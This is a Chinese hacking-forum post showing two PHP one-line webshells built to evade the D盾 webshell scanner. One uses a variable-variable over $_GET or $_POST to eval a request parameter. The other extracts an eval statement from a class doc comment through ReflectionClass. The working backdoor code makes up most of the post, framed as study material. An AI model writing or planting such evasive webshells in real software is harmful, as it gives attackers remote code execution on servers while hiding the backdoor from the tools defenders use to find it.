搜索
查看: 2547|回复: 0

两种php一句话过D盾的思路

[复制链接]

264

主题

373

帖子

827

积分

vip用户

Rank: 6Rank: 6

积分
827

注册会员活跃会员热心会员

QQ
发表于 2019-3-12 15:46:28 | 显示全部楼层 |阅读模式
写在前面:两天前说好的分析脚本,现在就简单分析两个示例。本人菜鸟一个,主要是大家能一起学习。D哥,没有针对你的意图啊,我初中的时候还用啊D注入工具呢。。。

前两天的样本,想必D哥已经入库了。不过为啥是已知后门,感觉是还没没时间写匹配,采取的应急措施吧?

姿势一:可变变量数组
示例代码:

<?php          $a = 'GET';        //$a = 'POST';        $b = '_';        $c = $b.$a;        foreach($$c as $key => $value){            if($key == "m"){                eval($value);            }        }?>
简要分析:咳咳,变量a和b是为了逗比而已,无实际意义,要真要说有意义的话就是破坏_POST字符串。$$c这个可变变量就代表着$_POST数组,当数组成员为m(也就是$_POST['m'])的时候执行eval。

姿势二:反射类获取注释
示例代码:
[size=0.9em]PHP

<?php      /**       * eval($_GET[m]);    */              class Test { }      $rc = new ReflectionClass('Test');  //建立反射类的一个对象    $comment = $rc->getDocComment();    //执行反射类的一个成员函数,获取完整的注释。    $pos1 = strpos($comment,'eval');    //标记eval开始的位置    $pos2 = strpos($comment,';');       //标记结束的位置    $len = $pos2 - $pos1 + 1;           //获取语句长度    $cmd = substr($comment,$pos1,$len); //按长度截取字符串    eval($cmd);?>

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册

x
有没有参加CTF比赛的,一起组队啊!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

温馨提示
1:发帖请遵守《中华人民共和国网络安全法》,发帖内容不得维护国家的、集体的、个人的利益。
2:请勿发布恶意攻击他人的技术文章、工具、和使用教程,发现后删帖处理。
3:本站的目的在于让更多的人了解网络安全,避免受到他人的恶意攻击。
4:本站中的部分文章,可能会出现一些“技术类手段”,但这仅仅为学习演示所用,而非恶意传播技术。
5:本站中的部分文章,可能转载自互联网。如有侵权行为,联系我们删除即可。
6:学习仅是充实头脑,切勿恶意攻击个人、企业等。所造成的法律后果一切由自己承担,本站及其站长概不负责。
我知道了
快速回复 返回顶部 返回列表